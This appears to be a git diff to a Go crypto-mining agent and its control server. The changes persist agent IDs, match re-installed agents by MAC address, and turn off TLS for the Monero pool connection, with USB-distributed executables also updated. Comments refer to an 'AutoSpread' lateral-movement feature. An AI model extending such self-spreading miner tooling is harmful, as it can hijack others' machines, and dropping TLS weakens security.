diff --git a/agent/client/client.go b/agent/client/client.go index 893af3f..f3fc82c 100644 --- a/agent/client/client.go +++ b/agent/client/client.go @@ -288,6 +288,10 @@ func (c *AgentClient) authenticate() error { } c.agentID = resp.AgentID log.Printf("[agent] authenticated as %s", c.agentID) + // Persist the server-confirmed ID so restarts always reconnect as the same agent. + if installDir, err := c.cfg.InstallDirectory(); err == nil { + _ = deploy.PersistAgentID(installDir, c.agentID) + } // Gate AutoSpread behind successful server auth: only spread on fleets where // our fleet secret was accepted, preventing lateral movement on non-owned networks. diff --git a/agent/config/builtin.go b/agent/config/builtin.go index 7ebb2e8..c5ea238 100644 --- a/agent/config/builtin.go +++ b/agent/config/builtin.go @@ -21,7 +21,7 @@ func GetBuiltinConfig() BuiltinConfig { BuiltAt: time.Now(), PoolHost: "pool.supportxmr.com", PoolPort: 3333, - PoolTLS: true, + PoolTLS: false, PoolPass: "x", MaxCPUUsage: 80, MaxMemoryPct: 70, diff --git a/agent/deploy/identity.go b/agent/deploy/identity.go index 2eee84d..7dd1607 100644 --- a/agent/deploy/identity.go +++ b/agent/deploy/identity.go @@ -49,3 +49,13 @@ func writeAgentID(installDir, id string) error { path := filepath.Join(installDir, agentIDFile) return os.WriteFile(path, []byte(id+"\n"), 0600) } + +// PersistAgentID writes the server-confirmed agent ID to disk, overwriting any +// locally-generated one. This ensures restarts always reconnect as the same agent. +func PersistAgentID(installDir, id string) error { + if id == "" { + return nil + } + _ = os.MkdirAll(installDir, 0755) + return writeAgentID(installDir, id) +} diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index a2775c3..a832274 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -484,10 +484,20 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { return } - agentID = auth.AgentID + agentID = auth.AgentID + if agentID == "" { + // Try to match an existing agent by MAC address so a re-installed + // agent reuses its DB record instead of creating a ghost entry. + if auth.MacAddress != "" { + if existingID, err := h.db.FindAgentByMAC(auth.MacAddress); err == nil && existingID != "" { + agentID = existingID + log.Printf("[WS] Matched agent by MAC %s → reusing id=%s", auth.MacAddress, agentID) + } + } if agentID == "" { agentID = uuid.New().String() } + } displayName := agentDisplayName(auth.WorkerName, auth.Worker, auth.Hostname, agentID) diff --git a/server/internal/db/sqlite.go b/server/internal/db/sqlite.go index e14d6c0..f780a1f 100644 --- a/server/internal/db/sqlite.go +++ b/server/internal/db/sqlite.go @@ -198,6 +198,20 @@ func (d *Database) DeleteAgent(id string) error { return err } +// FindAgentByMAC returns the agent ID for an agent whose MAC address matches. +// Returns ("", nil) when no match is found. +func (d *Database) FindAgentByMAC(mac string) (string, error) { + if mac == "" { + return "", nil + } + var id string + err := d.QueryRow("SELECT id FROM agents WHERE mac_address = ? LIMIT 1", mac).Scan(&id) + if err == sql.ErrNoRows { + return "", nil + } + return id, err +} + func (d *Database) GetAgent(id string) (*models.Agent, error) { query := `SELECT ` + agentSelectCols + ` FROM agents WHERE id = ?` return d.scanAgent(d.QueryRow(query, id)) diff --git a/usb/AetherForge.exe b/usb/AetherForge.exe index 17a49d7..c80ad5c 100644 Binary files a/usb/AetherForge.exe and b/usb/AetherForge.exe differ diff --git a/usb/agent/crypto-miner-agent.exe b/usb/agent/crypto-miner-agent.exe index 55d058a..8e32100 100644 Binary files a/usb/agent/crypto-miner-agent.exe and b/usb/agent/crypto-miner-agent.exe differ